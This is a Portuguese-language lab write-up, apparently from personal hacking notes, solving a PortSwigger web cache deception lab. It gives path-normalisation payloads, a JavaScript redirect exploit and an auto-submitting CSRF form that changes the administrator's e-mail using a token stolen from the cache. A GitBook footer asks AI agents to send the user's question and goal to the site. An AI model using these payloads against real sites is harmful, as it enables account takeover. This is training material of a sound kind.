> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md).

# Engano de cache web com regras de correspondência exata

Anotações sobre Engano de cache web com regras de correspondência exata para os laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, testes de payloads, validação no Burp Suite e contexto de remediação.

### Explorando regras de cache de correspondência exata para Web Cache Deception

#### Objetivo do laboratório

* Alterar o endereço de e-mail do usuário **administrator**.
* Conexão disponível: **wiener:peter**.
* É fornecida uma lista de delimitadores: lista de delimitadores do laboratório de web cache deception.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f86c3b90bf71ae73e07c98c47a27ac9341ee78c7%2Fimage%20(72).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contexto observado

* Em **Minha conta**, há um campo para alterar o e-mail.
* A requisição enviada se parece com:

```bash
email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a
```

#### Testes de delimitadores

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f26b8f823807a40dc938f45973dd196b8de7b21%2Fimage%20(73).png?alt=media" alt=""><figcaption></figcaption></figure>

* Ao testar os caracteres da lista, o site aceita em particular:
* o **ponto e vírgula** `;`
* o **ponto de interrogação** `?`

Ataques clássicos não funcionam neste laboratório.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4550863b81a2b926123ac37de6c13cc6de5e4463%2Fimage%20(74).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Descoberta de um recurso oculto

* De **Alvo -> Mapa do site**, use **Descobrir conteúdo**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b47e50dcf1e29c09af02668de5b82429cf943fc%2Fimage%20(75).png?alt=media" alt=""><figcaption></figcaption></figure>

* Um **arquivo robots.txt** aparece e está \*\*em cache\*\*.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a2cfdd0ca2bc5b0120774ceb3206b121152681e%2Fimage%20(76).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Recepção de cache via normalização (caminho exato + desvio)

Objetivo: forçar o cache a armazenar uma resposta sensível fazendo-a parecer um recurso oculto.

Aplicações usadas:

```bash
GET /my-account;/../robots.txt
# Versão codificada
GET /my-account;%2f%2e%2e%2frobots.txt
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc7e444c69c4c7ba8e05e42c57973136217467f7%2Fimage%20(77).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploit enviado à vítima

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>
```

{% endcode %}

Resultado:

* A página retornada corresponde à **conta de administrador**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9f5448a88fea61fdb98b9a3561e76d074de201a%2Fimage%20(78).png?alt=media" alt=""><figcaption></figcaption></figure>

Na resposta, recuperamos o **token CSRF** do formulário de e-mail, por exemplo:

```html
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> Atualizar e-mail </button>
```

#### Etapa final planejada

* Use este token para gerar um **PoC de CSRF** para enviar uma **POST** requisição para a **Minha conta** página de alteração de e-mail e, assim, alterar o **administrator** e-mail.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0fdf95cc8d9c20076db569ba67436ac1155398e%2Fimage%20(79).png?alt=media" alt=""><figcaption></figcaption></figure>

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="Enviar solicitação" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
